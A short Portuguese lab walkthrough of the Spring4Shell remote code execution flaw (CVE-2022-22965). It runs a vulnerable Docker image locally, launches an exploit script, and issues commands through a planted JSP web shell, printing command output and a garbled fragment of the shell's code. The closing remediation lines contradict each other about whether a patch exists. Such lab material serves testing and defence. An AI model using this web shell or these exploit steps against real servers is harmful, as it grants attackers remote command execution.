
Spring4Shell - Spring Core RCE - CVE-2022-22965
Após o Spring Cloud, em 29 de março, outra vulnerabilidade de alto impacto do Spring surgiu na Internet: Spring Core RCE
Em 31 de março, a Spring lançou novas versões que corrigem a vulnerabilidade. Veja a seção Correção.
Em 31 de março, um número CVE foi finalmente atribuído à vulnerabilidade com uma pontuação CVSS 9.8 (CRÍTICA)
A exploração é muito fácil de usar, daí a pontuação CVSS muito alta de 9.8.
Para testar a vulnerabilidade, você pode fazer o seguinte.
Inicie uma imagem Docker vulnerável do Spring.
docker run -d -p 8082:8080 --name springrce -it vulfocus/spring-core-rce-2022-03-29
Isso vincula o Spring vulnerável ao endereço localhost:8082.
Verifique se a imagem foi iniciada corretamente com curl
curl http://localhost:8082
Uma resposta de ok deve ser retornada.
Vamos explorar a imagem vulnerável agora!
python3 exp.py --url http://localhost:8082
Uma resposta de The vulnerability exists .... deve ser retornada.
Agora você pode explorar a vulnerabilidade com curl
# Execute o comando whoami
curl --output - http://localhost:8082/tomcatwar.jsp?pwd=j&cmd=whoami
# Resposta truncada
root
//
- if("j".equals(request.getParameter("pwd"))){ java.io.InputStream in = -.getRuntime().exec(request.getParameter("cmd")).getInputStream(); int a = -1; byte[] b = new byte[2048]; while((a=in.read(b))!=-1){ out.println(new String(b)); } } - ........
# Execute o comando ls
curl --output - http://localhost:8082/tomcatwar.jsp?pwd=j&cmd=ls
# Resposta truncada
app
bin
dev
etc
..........
O exploit foi carregado até agora exp.py


A Spring lançou agora novas versões que corrigem este CVE. Veja o anúncio da Spring.
O commit que corrigiu a vulnerabilidade
Atualmente, a Spring não lançou oficialmente um patch; recomenda-se reduzir a versão do JDK como solução temporária